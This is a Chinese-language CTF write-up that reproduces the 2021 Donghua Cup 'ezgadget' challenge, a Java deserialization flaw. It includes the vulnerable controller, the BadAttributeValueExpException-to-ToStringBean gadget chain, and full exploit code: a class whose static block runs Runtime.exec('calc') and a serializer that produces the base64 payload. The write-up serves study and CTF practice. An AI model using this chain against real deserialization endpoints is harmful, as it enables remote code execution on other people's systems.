前言

学了cc链后找个题练练吧,本篇文章记录东华杯2021ezgadget题目的复现过程。题目附件网上随处可见,在这就不放附件了。题目不是很难 ,看看吧。

题目分析

利用jd-gui工具反编译jar包,idea新建maven项目,把反编译好的源码拷贝进去。运行代码启动服务

本地环境启动成功,当然也可以运行jar包来起环境,只不过放在idea中更好调试。废话不多说了开始分析。有一个控制器类

@Controller
public class IndexController
{
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}
@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
//读取字节数组中的内容
InputStream inputStream = new ByteArrayInputStream(b);
//该对象可以读取序列化的Java对象。
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
//读取一个UTF-8编码的字符串
String name = objectInputStream.readUTF();
//读取一个整数值
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
//反序列化
objectInputStream.readObject();
}
return "welcome bro.";
}
}

设计了两个路由,重点在于/readobject路由,对我们传入的data数据base64解码,然后满足下面这个if判断就会反序列化。反序列化的漏洞点有了,接下来找找利用类。有一个ToStringBean类,

public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;

public String toString() {
com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object Obj = null;
try {
Obj = clazz.newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return "enjoy it.";
}
}

继承了ClassLoader,在toString函数中用defineClass函数进行类加载,又有newInstance初始化,很明显,这里可以任意代码执行了。再看看其他类吧,Tools类。

public class Tools {
public static byte[] base64Decode(String base64) {
Base64.Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}

public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}

public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}

public static Object deserialize(byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}

定义了base64加密解密,序列化,反序列化的函数。还有一个user类没啥用,就不贴代码了。我们最终的目的是调用ToStringBean的toString函数来代码执行,结合反序列化,我们需要找到一个重写了readObject方法,并且在该方法中调用了任意类的toString方法的类。有这样的类吗?当然有,cc5的入口类就满足条件了,BadAttributeValueExpException类。看看它的readObject方法。

读取var属性的值赋给valObj,并调用valObj的toString方法。val属性是我们可控的,那么链子就直接走完了,很短吧。主要思路:

BadAttributeValueExpException->readObject()->ToStringBean->toString()->任意类加载

编写被加载的类:

package com.ezgame.ctf.exp;
import java.io.IOException;

public class payload {
public payload() {
}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}
}
}

编译成class文件,然后编写攻击类:

package com.ezgame.ctf.exp;

import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.management.BadAttributeValueExpException;

public class exp {
public exp() {
}

public static void main(String[] args) throws Exception {
ToStringBean toStringBean = new ToStringBean();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("123");
Class c = badAttributeValueExpException.getClass();
Field objval = c.getDeclaredField("val");
objval.setAccessible(true);
objval.set(badAttributeValueExpException, toStringBean);
Class b = toStringBean.getClass();
Field classbyte = b.getDeclaredField("ClassByte");
classbyte.setAccessible(true);
byte[] filebin = Files.readAllBytes(Paths.get("D://tmp/classes/payload.class"));
classbyte.set(toStringBean, filebin);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] code = byteArrayOutputStream.toByteArray();
String s = Tools.base64Encode(code);
System.out.println(s);
}
}

为了满足if条件判断,将gadgets和2021写入流,通过反射修改类属性,这些都是常规操作了。

成功弹出计算器。